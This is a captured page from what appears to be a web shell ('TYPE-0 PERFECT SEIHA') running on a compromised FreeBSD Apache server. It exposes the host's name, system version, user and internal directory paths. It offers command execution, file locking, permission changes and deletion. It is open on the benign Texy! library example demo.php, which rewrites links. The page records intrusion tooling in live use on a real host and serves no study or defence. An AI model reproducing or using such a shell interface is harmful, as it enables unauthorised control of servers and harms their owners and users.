TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
texy
texy
examples
links
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/texy/texy/examples/links/demo.php
<?php /** * This demo shows how control links in Texy! */ // include Texy! require_once __DIR__ . '/../../src/texy.php'; /** * @return Texy\HtmlElement|string|false */ function phraseHandler(Texy\HandlerInvocation $invocation, $phrase, $content, Texy\Modifier $modifier, Texy\Link $link = null) { // is there link? if (!$link) { return $invocation->proceed(); } if (Texy\Helpers::isRelative($link->URL)) { // modifiy link $link->URL = 'index?page=' . urlencode($link->URL); } elseif (substr($link->URL, 0, 5) === 'wiki:') { // modifiy link $link->URL = 'https://en.wikipedia.org/wiki/Special:Search?search=' . urlencode(substr($link->URL, 5)); } return $invocation->proceed(); } $texy = new Texy(); // configuration $texy->addHandler('phrase', 'phraseHandler'); // processing $text = file_get_contents('sample.texy'); $html = $texy->process($text); // that's all folks! // echo formated output header('Content-type: text/html; charset=utf-8'); echo $html; // echo all embedded links echo '<hr />'; echo '<pre>'; print_r($texy->summary['links']); echo '</pre>'; // and echo generated HTML code echo '<hr />'; echo '<pre>'; echo htmlspecialchars($html); echo '</pre>';
Crotin
Name
Size
Permissions
Modified
User/Group
sample.texy
119
0644
2016-01-11 22:52:07
Unknown/Unknown
demo.php
1207
0644
2018-07-10 17:51:44
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin